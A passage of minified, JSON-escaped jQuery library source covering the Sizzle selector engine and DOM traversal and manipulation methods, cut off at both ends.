f,l,c,h=[],p=[],d=o.length,v=s||dt(t||\"*\",u.nodeType?[u]:u,[]),m=e\u0026\u0026(s||!t)?lt(v,h,e,u,a):v,g=n?i||(s?e:d||r)?[]:o:m;n\u0026\u0026n(m,g,u,a);if(r){f=lt(g,p),r(f,[],u,a),l=f.length;while(l--)if(c=f[l])g[p[l]]=!(m[p[l]]=c)}if(s){if(i||e){if(i){f=[],l=g.length;while(l--)(c=g[l])\u0026\u0026f.push(m[l]=c);i(null,g=[],f,a)}l=g.length;while(l--)(c=g[l])\u0026\u0026(f=i?T.call(s,c):h[l])\u003e-1\u0026\u0026(s[f]=!(o[f]=c))}}else g=lt(g===o?g.splice(d,g.length):g),i?i(null,o,g,a):S.apply(o,g)})}function ht(e){var t,n,r,s=e.length,o=i.relative[e[0].type],u=o||i.relative[\" \"],a=o?1:0,f=at(function(e){return e===t},u,!0),l=at(function(e){return T.call(t,e)\u003e-1},u,!0),h=[function(e,n,r){return!o\u0026\u0026(r||n!==c)||((t=n).nodeType?f(e,n,r):l(e,n,r))}];for(;a\u003cs;a++)if(n=i.relative[e[a].type])h=[at(ft(h),n)];else{n=i.filter[e[a].type].apply(null,e[a].matches);if(n[d]){r=++a;for(;r\u003cs;r++)if(i.relative[e[r].type])break;return ct(a\u003e1\u0026\u0026ft(h),a\u003e1\u0026\u0026e.slice(0,a-1).join(\"\").replace(j,\"$1\"),n,a\u003cr\u0026\u0026ht(e.slice(a,r)),r\u003cs\u0026\u0026ht(e=e.slice(r)),r\u003cs\u0026\u0026e.join(\"\"))}h.push(n)}return ft(h)}function pt(e,t){var r=t.length\u003e0,s=e.length\u003e0,o=function(u,a,f,l,h){var p,d,v,m=[],y=0,w=\"0\",x=u\u0026\u0026[],T=h!=null,N=c,C=u||s\u0026\u0026i.find.TAG(\"*\",h\u0026\u0026a.parentNode||a),k=b+=N==null?1:Math.E;T\u0026\u0026(c=a!==g\u0026\u0026a,n=o.el);for(;(p=C[w])!=null;w++){if(s\u0026\u0026p){for(d=0;v=e[d];d++)if(v(p,a,f)){l.push(p);break}T\u0026\u0026(b=k,n=++o.el)}r\u0026\u0026((p=!v\u0026\u0026p)\u0026\u0026y--,u\u0026\u0026x.push(p))}y+=w;if(r\u0026\u0026w!==y){for(d=0;v=t[d];d++)v(x,m,a,f);if(u){if(y\u003e0)while(w--)!x[w]\u0026\u0026!m[w]\u0026\u0026(m[w]=E.call(l));m=lt(m)}S.apply(l,m),T\u0026\u0026!u\u0026\u0026m.length\u003e0\u0026\u0026y+t.length\u003e1\u0026\u0026nt.uniqueSort(l)}return T\u0026\u0026(b=k,c=N),x};return o.el=0,r?N(o):o}function dt(e,t,n){var r=0,i=t.length;for(;r\u003ci;r++)nt(e,t[r],n);return n}function vt(e,t,n,r,s){var o,u,f,l,c,h=ut(e),p=h.length;if(!r\u0026\u0026h.length===1){u=h[0]=h[0].slice(0);if(u.length\u003e2\u0026\u0026(f=u[0]).type===\"ID\"\u0026\u0026t.nodeType===9\u0026\u0026!s\u0026\u0026i.relative[u[1].type]){t=i.find.ID(f.matches[0].replace($,\"\"),t,s)[0];if(!t)return n;e=e.slice(u.shift().length)}for(o=J.POS.test(e)?-1:u.length-1;o\u003e=0;o--){f=u[o];if(i.relative[l=f.type])break;if(c=i.find[l])if(r=c(f.matches[0].replace($,\"\"),z.test(u[0].type)\u0026\u0026t.parentNode||t,s)){u.splice(o,1),e=r.length\u0026\u0026u.join(\"\");if(!e)return S.apply(n,x.call(r,0)),n;break}}}return a(e,h)(r,t,s,n,z.test(e)),n}function mt(){}var n,r,i,s,o,u,a,f,l,c,h=!0,p=\"undefined\",d=(\"sizcache\"+Math.random()).replace(\".\",\"\"),m=String,g=e.document,y=g.documentElement,b=0,w=0,E=[].pop,S=[].push,x=[].slice,T=[].indexOf||function(e){var t=0,n=this.length;for(;t\u003cn;t++)if(this[t]===e)return t;return-1},N=function(e,t){return e[d]=t==null||t,e},C=function(){var e={},t=[];return N(function(n,r){return t.push(n)\u003ei.cacheLength\u0026\u0026delete e[t.shift()],e[n+\" \"]=r},e)},k=C(),L=C(),A=C(),O=\"[\\\\x20\\\\t\\\\r\\\\n\\\\f]\",M=\"(?:\\\\\\\\.|[-\\\\w]|[^\\\\x00-\\\\xa0])+\",_=M.replace(\"w\",\"w#\"),D=\"([*^$|!~]?=)\",P=\"\\\\[\"+O+\"*(\"+M+\")\"+O+\"*(?:\"+D+O+\"*(?:(['\\\"])((?:\\\\\\\\.|[^\\\\\\\\])*?)\\\\3|(\"+_+\")|)|)\"+O+\"*\\\\]\",H=\":(\"+M+\")(?:\\\\((?:(['\\\"])((?:\\\\\\\\.|[^\\\\\\\\])*?)\\\\2|([^()[\\\\]]*|(?:(?:\"+P+\")|[^:]|\\\\\\\\.)*|.*))\\\\)|)\",B=\":(even|odd|eq|gt|lt|nth|first|last)(?:\\\\(\"+O+\"*((?:-\\\\d)?\\\\d*)\"+O+\"*\\\\)|)(?=[^-]|$)\",j=new RegExp(\"^\"+O+\"+|((?:^|[^\\\\\\\\])(?:\\\\\\\\.)*)\"+O+\"+$\",\"g\"),F=new RegExp(\"^\"+O+\"*,\"+O+\"*\"),I=new RegExp(\"^\"+O+\"*([\\\\x20\\\\t\\\\r\\\\n\\\\f\u003e+~])\"+O+\"*\"),q=new RegExp(H),R=/^(?:#([\\w\\-]+)|(\\w+)|\\.([\\w\\-]+))$/,U=/^:not/,z=/[\\x20\\t\\r\\n\\f]*[+~]/,W=/:not\\($/,X=/h\\d/i,V=/input|select|textarea|button/i,$=/\\\\(?!\\\\)/g,J={ID:new RegExp(\"^#(\"+M+\")\"),CLASS:new RegExp(\"^\\\\.(\"+M+\")\"),NAME:new RegExp(\"^\\\\[name=['\\\"]?(\"+M+\")['\\\"]?\\\\]\"),TAG:new RegExp(\"^(\"+M.replace(\"w\",\"w*\")+\")\"),ATTR:new RegExp(\"^\"+P),PSEUDO:new RegExp(\"^\"+H),POS:new RegExp(B,\"i\"),CHILD:new RegExp(\"^:(only|nth|first|last)-child(?:\\\\(\"+O+\"*(even|odd|(([+-]|)(\\\\d*)n|)\"+O+\"*(?:([+-]|)\"+O+\"*(\\\\d+)|))\"+O+\"*\\\\)|)\",\"i\"),needsContext:new RegExp(\"^\"+O+\"*[\u003e+~]|\"+B,\"i\")},K=function(e){var t=g.createElement(\"div\");try{return e(t)}catch(n){return!1}finally{t=null}},Q=K(function(e){return e.appendChild(g.createComment(\"\")),!e.getElementsByTagName(\"*\").length}),G=K(function(e){return e.innerHTML=\"\u003ca href='#'\u003e\u003c/a\u003e\",e.firstChild\u0026\u0026typeof e.firstChild.getAttribute!==p\u0026\u0026e.firstChild.getAttribute(\"href\")===\"#\"}),Y=K(function(e){e.innerHTML=\"\u003cselect\u003e\u003c/select\u003e\";var t=typeof e.lastChild.getAttribute(\"multiple\");return t!==\"boolean\"\u0026\u0026t!==\"string\"}),Z=K(function(e){return e.innerHTML=\"\u003cdiv class='hidden e'\u003e\u003c/div\u003e\u003cdiv class='hidden'\u003e\u003c/div\u003e\",!e.getElementsByClassName||!e.getElementsByClassName(\"e\").length?!1:(e.lastChild.className=\"e\",e.getElementsByClassName(\"e\").length===2)}),et=K(function(e){e.id=d+0,e.innerHTML=\"\u003ca name='\"+d+\"'\u003e\u003c/a\u003e\u003cdiv name='\"+d+\"'\u003e\u003c/div\u003e\",y.insertBefore(e,y.firstChild);var t=g.getElementsByName\u0026\u0026g.getElementsByName(d).length===2+g.getElementsByName(d+0).length;return r=!g.getElementById(d),y.removeChild(e),t});try{x.call(y.childNodes,0)[0].nodeType}catch(tt){x=function(e){var t,n=[];for(;t=this[e];e++)n.push(t);return n}}nt.matches=function(e,t){return nt(e,null,null,t)},nt.matchesSelector=function(e,t){return nt(t,null,null,[e]).length\u003e0},s=nt.getText=function(e){var t,n=\"\",r=0,i=e.nodeType;if(i){if(i===1||i===9||i===11){if(typeof e.textContent==\"string\")return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=s(e)}else if(i===3||i===4)return e.nodeValue}else for(;t=e[r];r++)n+=s(t);return n},o=nt.isXML=function(e){var t=e\u0026\u0026(e.ownerDocument||e).documentElement;return t?t.nodeName!==\"HTML\":!1},u=nt.contains=y.contains?function(e,t){var n=e.nodeType===9?e.documentElement:e,r=t\u0026\u0026t.parentNode;return e===r||!!(r\u0026\u0026r.nodeType===1\u0026\u0026n.contains\u0026\u0026n.contains(r))}:y.compareDocumentPosition?function(e,t){return t\u0026\u0026!!(e.compareDocumentPosition(t)\u002616)}:function(e,t){while(t=t.parentNode)if(t===e)return!0;return!1},nt.attr=function(e,t){var n,r=o(e);return r||(t=t.toLowerCase()),(n=i.attrHandle[t])?n(e):r||Y?e.getAttribute(t):(n=e.getAttributeNode(t),n?typeof e[t]==\"boolean\"?e[t]?t:null:n.specified?n.value:null:null)},i=nt.selectors={cacheLength:50,createPseudo:N,match:J,attrHandle:G?{}:{href:function(e){return e.getAttribute(\"href\",2)},type:function(e){return e.getAttribute(\"type\")}},find:{ID:r?function(e,t,n){if(typeof t.getElementById!==p\u0026\u0026!n){var r=t.getElementById(e);return r\u0026\u0026r.parentNode?[r]:[]}}:function(e,n,r){if(typeof n.getElementById!==p\u0026\u0026!r){var i=n.getElementById(e);return i?i.id===e||typeof i.getAttributeNode!==p\u0026\u0026i.getAttributeNode(\"id\").value===e?[i]:t:[]}},TAG:Q?function(e,t){if(typeof t.getElementsByTagName!==p)return t.getElementsByTagName(e)}:function(e,t){var n=t.getElementsByTagName(e);if(e===\"*\"){var r,i=[],s=0;for(;r=n[s];s++)r.nodeType===1\u0026\u0026i.push(r);return i}return n},NAME:et\u0026\u0026function(e,t){if(typeof t.getElementsByName!==p)return t.getElementsByName(name)},CLASS:Z\u0026\u0026function(e,t,n){if(typeof t.getElementsByClassName!==p\u0026\u0026!n)return t.getElementsByClassName(e)}},relative:{\"\u003e\":{dir:\"parentNode\",first:!0},\" \":{dir:\"parentNode\"},\"+\":{dir:\"previousSibling\",first:!0},\"~\":{dir:\"previousSibling\"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace($,\"\"),e[3]=(e[4]||e[5]||\"\").replace($,\"\"),e[2]===\"~=\"\u0026\u0026(e[3]=\" \"+e[3]+\" \"),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),e[1]===\"nth\"?(e[2]||nt.error(e[0]),e[3]=+(e[3]?e[4]+(e[5]||1):2*(e[2]===\"even\"||e[2]===\"odd\")),e[4]=+(e[6]+e[7]||e[2]===\"odd\")):e[2]\u0026\u0026nt.error(e[0]),e},PSEUDO:function(e){var t,n;if(J.CHILD.test(e[0]))return null;if(e[3])e[2]=e[3];else if(t=e[4])q.test(t)\u0026\u0026(n=ut(t,!0))\u0026\u0026(n=t.indexOf(\")\",t.length-n)-t.length)\u0026\u0026(t=t.slice(0,n),e[0]=e[0].slice(0,n)),e[2]=t;return e.slice(0,3)}},filter:{ID:r?function(e){return e=e.replace($,\"\"),function(t){return t.getAttribute(\"id\")===e}}:function(e){return e=e.replace($,\"\"),function(t){var n=typeof t.getAttributeNode!==p\u0026\u0026t.getAttributeNode(\"id\");return n\u0026\u0026n.value===e}},TAG:function(e){return e===\"*\"?function(){return!0}:(e=e.replace($,\"\").toLowerCase(),function(t){return t.nodeName\u0026\u0026t.nodeName.toLowerCase()===e})},CLASS:function(e){var t=k[d][e+\" \"];return t||(t=new RegExp(\"(^|\"+O+\")\"+e+\"(\"+O+\"|$)\"))\u0026\u0026k(e,function(e){return t.test(e.className||typeof e.getAttribute!==p\u0026\u0026e.getAttribute(\"class\")||\"\")})},ATTR:function(e,t,n){return function(r,i){var s=nt.attr(r,e);return s==null?t===\"!=\":t?(s+=\"\",t===\"=\"?s===n:t===\"!=\"?s!==n:t===\"^=\"?n\u0026\u0026s.indexOf(n)===0:t===\"*=\"?n\u0026\u0026s.indexOf(n)\u003e-1:t===\"$=\"?n\u0026\u0026s.substr(s.length-n.length)===n:t===\"~=\"?(\" \"+s+\" \").indexOf(n)\u003e-1:t===\"|=\"?s===n||s.substr(0,n.length+1)===n+\"-\":!1):!0}},CHILD:function(e,t,n,r){return e===\"nth\"?function(e){var t,i,s=e.parentNode;if(n===1\u0026\u0026r===0)return!0;if(s){i=0;for(t=s.firstChild;t;t=t.nextSibling)if(t.nodeType===1){i++;if(e===t)break}}return i-=r,i===n||i%n===0\u0026\u0026i/n\u003e=0}:function(t){var n=t;switch(e){case\"only\":case\"first\":while(n=n.previousSibling)if(n.nodeType===1)return!1;if(e===\"first\")return!0;n=t;case\"last\":while(n=n.nextSibling)if(n.nodeType===1)return!1;return!0}}},PSEUDO:function(e,t){var n,r=i.pseudos[e]||i.setFilters[e.toLowerCase()]||nt.error(\"unsupported pseudo: \"+e);return r[d]?r(t):r.length\u003e1?(n=[e,e,\"\",t],i.setFilters.hasOwnProperty(e.toLowerCase())?N(function(e,n){var i,s=r(e,t),o=s.length;while(o--)i=T.call(e,s[o]),e[i]=!(n[i]=s[o])}):function(e){return r(e,0,n)}):r}},pseudos:{not:N(function(e){var t=[],n=[],r=a(e.replace(j,\"$1\"));return r[d]?N(function(e,t,n,i){var s,o=r(e,null,i,[]),u=e.length;while(u--)if(s=o[u])e[u]=!(t[u]=s)}):function(e,i,s){return t[0]=e,r(t,null,s,n),!n.pop()}}),has:N(function(e){return function(t){return nt(e,t).length\u003e0}}),contains:N(function(e){return function(t){return(t.textContent||t.innerText||s(t)).indexOf(e)\u003e-1}}),enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return t===\"input\"\u0026\u0026!!e.checked||t===\"option\"\u0026\u0026!!e.selected},selected:function(e){return e.parentNode\u0026\u0026e.parentNode.selectedIndex,e.selected===!0},parent:function(e){return!i.pseudos.empty(e)},empty:function(e){var t;e=e.firstChild;while(e){if(e.nodeName\u003e\"@\"||(t=e.nodeType)===3||t===4)return!1;e=e.nextSibling}return!0},header:function(e){return X.test(e.nodeName)},text:function(e){var t,n;return e.nodeName.toLowerCase()===\"input\"\u0026\u0026(t=e.type)===\"text\"\u0026\u0026((n=e.getAttribute(\"type\"))==null||n.toLowerCase()===t)},radio:rt(\"radio\"),checkbox:rt(\"checkbox\"),file:rt(\"file\"),password:rt(\"password\"),image:rt(\"image\"),submit:it(\"submit\"),reset:it(\"reset\"),button:function(e){var t=e.nodeName.toLowerCase();return t===\"input\"\u0026\u0026e.type===\"button\"||t===\"button\"},input:function(e){return V.test(e.nodeName)},focus:function(e){var t=e.ownerDocument;return e===t.activeElement\u0026\u0026(!t.hasFocus||t.hasFocus())\u0026\u0026!!(e.type||e.href||~e.tabIndex)},active:function(e){return e===e.ownerDocument.activeElement},first:st(function(){return[0]}),last:st(function(e,t){return[t-1]}),eq:st(function(e,t,n){return[n\u003c0?n+t:n]}),even:st(function(e,t){for(var n=0;n\u003ct;n+=2)e.push(n);return e}),odd:st(function(e,t){for(var n=1;n\u003ct;n+=2)e.push(n);return e}),lt:st(function(e,t,n){for(var r=n\u003c0?n+t:n;--r\u003e=0;)e.push(r);return e}),gt:st(function(e,t,n){for(var r=n\u003c0?n+t:n;++r\u003ct;)e.push(r);return e})}},f=y.compareDocumentPosition?function(e,t){return e===t?(l=!0,0):(!e.compareDocumentPosition||!t.compareDocumentPosition?e.compareDocumentPosition:e.compareDocumentPosition(t)\u00264)?-1:1}:function(e,t){if(e===t)return l=!0,0;if(e.sourceIndex\u0026\u0026t.sourceIndex)return e.sourceIndex-t.sourceIndex;var n,r,i=[],s=[],o=e.parentNode,u=t.parentNode,a=o;if(o===u)return ot(e,t);if(!o)return-1;if(!u)return 1;while(a)i.unshift(a),a=a.parentNode;a=u;while(a)s.unshift(a),a=a.parentNode;n=i.length,r=s.length;for(var f=0;f\u003cn\u0026\u0026f\u003cr;f++)if(i[f]!==s[f])return ot(i[f],s[f]);return f===n?ot(e,s[f],-1):ot(i[f],t,1)},[0,0].sort(f),h=!l,nt.uniqueSort=function(e){var t,n=[],r=1,i=0;l=h,e.sort(f);if(l){for(;t=e[r];r++)t===e[r-1]\u0026\u0026(i=n.push(r));while(i--)e.splice(n[i],1)}return e},nt.error=function(e){throw new Error(\"Syntax error, unrecognized expression: \"+e)},a=nt.compile=function(e,t){var n,r=[],i=[],s=A[d][e+\" \"];if(!s){t||(t=ut(e)),n=t.length;while(n--)s=ht(t[n]),s[d]?r.push(s):i.push(s);s=A(e,pt(i,r))}return s},g.querySelectorAll\u0026\u0026function(){var e,t=vt,n=/'|\\\\/g,r=/\\=[\\x20\\t\\r\\n\\f]*([^'\"\\]]*)[\\x20\\t\\r\\n\\f]*\\]/g,i=[\":focus\"],s=[\":active\"],u=y.matchesSelector||y.mozMatchesSelector||y.webkitMatchesSelector||y.oMatchesSelector||y.msMatchesSelector;K(function(e){e.innerHTML=\"\u003cselect\u003e\u003coption selected=''\u003e\u003c/option\u003e\u003c/select\u003e\",e.querySelectorAll(\"[selected]\").length||i.push(\"\\\\[\"+O+\"*(?:checked|disabled|ismap|multiple|readonly|selected|value)\"),e.querySelectorAll(\":checked\").length||i.push(\":checked\")}),K(function(e){e.innerHTML=\"\u003cp test=''\u003e\u003c/p\u003e\",e.querySelectorAll(\"[test^='']\").length\u0026\u0026i.push(\"[*^$]=\"+O+\"*(?:\\\"\\\"|'')\"),e.innerHTML=\"\u003cinput type='hidden'/\u003e\",e.querySelectorAll(\":enabled\").length||i.push(\":enabled\",\":disabled\")}),i=new RegExp(i.join(\"|\")),vt=function(e,r,s,o,u){if(!o\u0026\u0026!u\u0026\u0026!i.test(e)){var a,f,l=!0,c=d,h=r,p=r.nodeType===9\u0026\u0026e;if(r.nodeType===1\u0026\u0026r.nodeName.toLowerCase()!==\"object\"){a=ut(e),(l=r.getAttribute(\"id\"))?c=l.replace(n,\"\\\\$\u0026\"):r.setAttribute(\"id\",c),c=\"[id='\"+c+\"'] \",f=a.length;while(f--)a[f]=c+a[f].join(\"\");h=z.test(e)\u0026\u0026r.parentNode||r,p=a.join(\",\")}if(p)try{return S.apply(s,x.call(h.querySelectorAll(p),0)),s}catch(v){}finally{l||r.removeAttribute(\"id\")}}return t(e,r,s,o,u)},u\u0026\u0026(K(function(t){e=u.call(t,\"div\");try{u.call(t,\"[test!='']:sizzle\"),s.push(\"!=\",H)}catch(n){}}),s=new RegExp(s.join(\"|\")),nt.matchesSelector=function(t,n){n=n.replace(r,\"='$1']\");if(!o(t)\u0026\u0026!s.test(n)\u0026\u0026!i.test(n))try{var a=u.call(t,n);if(a||e||t.document\u0026\u0026t.document.nodeType!==11)return a}catch(f){}return nt(n,null,null,[t]).length\u003e0})}(),i.pseudos.nth=i.pseudos.eq,i.filters=mt.prototype=i.pseudos,i.setFilters=new mt,nt.attr=v.attr,v.find=nt,v.expr=nt.selectors,v.expr[\":\"]=v.expr.pseudos,v.unique=nt.uniqueSort,v.text=nt.getText,v.isXMLDoc=nt.isXML,v.contains=nt.contains}(e);var nt=/Until$/,rt=/^(?:parents|prev(?:Until|All))/,it=/^.[^:#\\[\\.,]*$/,st=v.expr.match.needsContext,ot={children:!0,contents:!0,next:!0,prev:!0};v.fn.extend({find:function(e){var t,n,r,i,s,o,u=this;if(typeof e!=\"string\")return v(e).filter(function(){for(t=0,n=u.length;t\u003cn;t++)if(v.contains(u[t],this))return!0});o=this.pushStack(\"\",\"find\",e);for(t=0,n=this.length;t\u003cn;t++){r=o.length,v.find(e,this[t],o);if(t\u003e0)for(i=r;i\u003co.length;i++)for(s=0;s\u003cr;s++)if(o[s]===o[i]){o.splice(i--,1);break}}return o},has:function(e){var t,n=v(e,this),r=n.length;return this.filter(function(){for(t=0;t\u003cr;t++)if(v.contains(this,n[t]))return!0})},not:function(e){return this.pushStack(ft(this,e,!1),\"not\",e)},filter:function(e){return this.pushStack(ft(this,e,!0),\"filter\",e)},is:function(e){return!!e\u0026\u0026(typeof e==\"string\"?st.test(e)?v(e,this.context).index(this[0])\u003e=0:v.filter(e,this).length\u003e0:this.filter(e).length\u003e0)},closest:function(e,t){var n,r=0,i=this.length,s=[],o=st.test(e)||typeof e!=\"string\"?v(e,t||this.context):0;for(;r\u003ci;r++){n=this[r];while(n\u0026\u0026n.ownerDocument\u0026\u0026n!==t\u0026\u0026n.nodeType!==11){if(o?o.index(n)\u003e-1:v.find.matchesSelector(n,e)){s.push(n);break}n=n.parentNode}}return s=s.length\u003e1?v.unique(s):s,this.pushStack(s,\"closest\",e)},index:function(e){return e?typeof e==\"string\"?v.inArray(this[0],v(e)):v.inArray(e.jquery?e[0]:e,this):this[0]\u0026\u0026this[0].parentNode?this.prevAll().length:-1},add:function(e,t){var n=typeof e==\"string\"?v(e,t):v.makeArray(e\u0026\u0026e.nodeType?[e]:e),r=v.merge(this.get(),n);return this.pushStack(ut(n[0])||ut(r[0])?r:v.unique(r))},addBack:function(e){return this.add(e==null?this.prevObject:this.prevObject.filter(e))}}),v.fn.andSelf=v.fn.addBack,v.each({parent:function(e){var t=e.parentNode;return t\u0026\u0026t.nodeType!==11?t:null},parents:function(e){return v.dir(e,\"parentNode\")},parentsUntil:function(e,t,n){return v.dir(e,\"parentNode\",n)},next:function(e){return at(e,\"nextSibling\")},prev:function(e){return at(e,\"previousSibling\")},nextAll:function(e){return v.dir(e,\"nextSibling\")},prevAll:function(e){return v.dir(e,\"previousSibling\")},nextUntil:function(e,t,n){return v.dir(e,\"nextSibling\",n)},prevUntil:function(e,t,n){return v.dir(e,\"previousSibling\",n)},siblings:function(e){return v.sibling((e.parentNode||{}).firstChild,e)},children:function(e){return v.sibling(e.firstChild)},contents:function(e){return v.nodeName(e,\"iframe\")?e.contentDocument||e.contentWindow.document:v.merge([],e.childNodes)}},function(e,t){v.fn[e]=function(n,r){var i=v.map(this,t,n);return nt.test(e)||(r=n),r\u0026\u0026typeof r==\"string\"\u0026\u0026(i=v.filter(r,i)),i=this.length\u003e1\u0026\u0026!ot[e]?v.unique(i):i,this.length\u003e1\u0026\u0026rt.test(e)\u0026\u0026(i=i.reverse()),this.pushStack(i,e,l.call(arguments).join(\",\"))}}),v.extend({filter:function(e,t,n){return n\u0026\u0026(e=\":not(\"+e+\")\"),t.length===1?v.find.matchesSelector(t[0],e)?[t[0]]:[]:v.find.matches(e,t)},dir:function(e,n,r){var i=[],s=e[n];while(s\u0026\u0026s.nodeType!==9\u0026\u0026(r===t||s.nodeType!==1||!v(s).is(r)))s.nodeType===1\u0026\u0026i.push(s),s=s[n];return i},sibling:function(e,t){var n=[];for(;e;e=e.nextSibling)e.nodeType===1\u0026\u0026e!==t\u0026\u0026n.push(e);return n}});var ct=\"abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video\",ht=/ jQuery\\d+=\"(?:null|\\d+)\"/g,pt=/^\\s+/,dt=/\u003c(?!area|br|col|embed|hr|img|input|link|meta|param)(([\\w:]+)[^\u003e]*)\\/\u003e/gi,vt=/\u003c([\\w:]+)/,mt=/\u003ctbody/i,gt=/\u003c|\u0026#?\\w+;/,yt=/\u003c(?:script|style|link)/i,bt=/\u003c(?:script|object|embed|option|style)/i,wt=new RegExp(\"\u003c(?:\"+ct+\")[\\\\s/\u003e]\",\"i\"),Et=/^(?:checkbox|radio)$/,St=/checked\\s*(?:[^=]|=\\s*.checked.)/i,xt=/\\/(java|ecma)script/i,Tt=/^\\s*\u003c!(?:\\[CDATA\\[|\\-\\-)|[\\]\\-]{2}\u003e\\s*$/g,Nt={option:[1,\"\u003cselect multiple='multiple'\u003e\",\"\u003c/select\u003e\"],legend:[1,\"\u003cfieldset\u003e\",\"\u003c/fieldset\u003e\"],thead:[1,\"\u003ctable\u003e\",\"\u003c/table\u003e\"],tr:[2,\"\u003ctable\u003e\u003ctbody\u003e\",\"\u003c/tbody\u003e\u003c/table\u003e\"],td:[3,\"\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\",\"\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\"],col:[2,\"\u003ctable\u003e\u003ctbody\u003e\u003c/tbody\u003e\u003ccolgroup\u003e\",\"\u003c/colgroup\u003e\u003c/table\u003e\"],area:[1,\"\u003cmap\u003e\",\"\u003c/map\u003e\"],_default:[0,\"\",\"\"]},Ct=lt(i),kt=Ct.appendChild(i.createElement(\"div\"));Nt.optgroup=Nt.option,Nt.tbody=Nt.tfoot=Nt.colgroup=Nt.caption=Nt.thead,Nt.th=Nt.td,v.support.htmlSerialize||(Nt._default=[1,\"X\u003cdiv\u003e\",\"\u003c/div\u003e\"]),v.fn.extend({text:function(e){return v.access(this,function(e){return e===t?v.text(this):this.empty().append((this[0]\u0026\u0026this[0].ownerDocument||i).createTextNode(e))},null,e,arguments.length)},wrapAll:function(e){if(v.isFunction(e))return this.each(function(t){v(this).wrapAll(e.call(this,t))});if(this[0]){var t=v(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode\u0026\u0026t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstChild\u0026\u0026e.firstChild.nodeType===1)e=e.firstChild;return e}).append(this)}return this},wrapInner:function(e){return v.isFunction(e)?this.each(function(t){v(this).wrapInner(e.call(this,t))}):this.each(function(){var t=v(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=v.isFunction(e);return this.each(function(n){v(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){v.nodeName(this,\"body\")||v(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(e){(this.nodeType===1||this.nodeType===11)\u0026\u0026this.appendChild(e)})},prepend:function(){return this.domManip(arguments,!0,function(e){(this.nodeType===1||this.nodeType===11)\u0026\u0026this.insertBefore(e,this.firstChild)})},before:function(){if(!ut(this[0]))return this.domManip(arguments,!1,function(e){this.parentNode.insertBefore(e,this)});if(arguments.length){var e=v.clean(arguments);return this.pushStack(v.merge(e,this),\"before\",this.selector)}},after:function(){if(!ut(this[0]))return this.domManip(arguments,!1,function(e){this.parentNode.insertBefore(e,this.nextSibling)});if(arguments.length){var e=v.clean(arguments);return this.pushStack(v.merge(this,e),\"after\",this.selector)}},remove:function(e,t){var n,r=0;for(;(n=this[r])!=null;r++)if(!e||v.filter(e,[n]).length)!t\u0026\u0026n.nodeType===1\u0026\u0026(v.cleanData(n.getElementsByTagName(\"*\")),v.cleanData([n])),n.parentNode\u0026\u0026n.parentNode.removeChild(n);return this},empty:function(){var e,t=0;for(;(e=this[t])!=null;t++){e.nodeType===1\u0026\u0026v.cleanData(e.getElementsByTagName(\"*\"));while(e.firstChild)e.removeChild(e.firstChild)}return this},clone:function(e,t){return e=e==null?!1:e,t=t==null?e:t,this.map(function(){return v.clone(this,e,t)})},html:function(e){return v.access(this,function(e){var n=this[0]||{},r=0,i=this.length;if(e===t)return n.nodeType===1?n.innerHTML.replace(ht,\"\"):t;if(typeof e==\"string\"\u0026\u0026!yt.test(e)\u0026\u0026(v.support.htmlSerialize||!wt.test(e))\u0026\u0026(v.support.leadingWhitespace||!pt.test(e))\u0026\u0026!Nt[(vt.exec(e)||[\"\",\"\"])[1].toLowerCase()]){e=e.replace(dt,\"\u003c$1\u003e\u003c/$2\u003e\");try{for(;r\u003ci;r++)n=this[r]||{},n.nodeType===1\u0026\u0026(v.cleanData(n.getElementsByTagName(\"*\")),n.innerHTML=e);n=0}catch(s){}}n\u0026\u0026this.empty().append(e)},null,e,arguments.length)},replaceWith:function(e){return ut(this[0])?this.length?this.pushStack(v(v.isFunction(e)?e():e),\"replaceWith\",e):this:v.isFunction(e)?this.each(function(t){var n=v(this),r=n.html();n.replaceWith(e.call(this,t,r))}):(typeof e!=\"string\"\u0026\u0026(e=v(e).detach()),this.each(function(){var t=this.nextSibling,n=this.parentNode;v(this).remove(),t?v(t).before(e):v(n).append(e)}))},detach:function(e){return this.remove(e,!0)},domManip:function(e,n,r){e=[].concat.apply([],e);var i,s,o,u,a=0,f=e[0],l=[],c=this.length;if(!v.support.checkClone\u0026\u0026c\u003e1\u0026\u0026typeof f==\"string\"\u0026\u0026St.test(f))return this.each(function(){v(this).domManip(e,n,r)});if(v.isFunction(f))return this.each(function(i){var s=v(this);e[0]=f.call(this,i,n?s.html():t),s.domManip(e,n,r)});if(this[0]){i=v.buildFragment(e,this,l),o=i.fragment,s=o.firstChild,o.childNodes.length===1\u0026\u0026(o=s);if(s){n=n\u0026\u0026v.nodeName(s,\"tr\");for(u=i.cacheable||c-1;a\u003cc;a++)r.call(n\u0026\u0026v.nodeName(this[a],\"table\")?Lt(this[a],\"tbody\"):this[a],a===u?o:v.clone(o,!0,!0))}o=s=null,l.length\u0026\u0026v.each(l,function(e,t){t.src?v.ajax?v.ajax({url:t.src,type:\"GET\",dataType:\"script\",async:!1,global:!1,\"throws\":!0}):v.error(\"no ajax\"):v.globalEval((t.text||t.textContent||t.innerHTML||\"\").replace(Tt,\"\")),t.parentNode\u0026\u0026t.parentNode.removeChild(t)})}return this}}),v.buildFragment=function(e,n,r){var s,o,u,a=e[0];return n=n||i,n=!n.nodeType\u0026\u0026n[0]||n,n=n.ownerDocument||n,e.length===1\u0026\u0026typeof 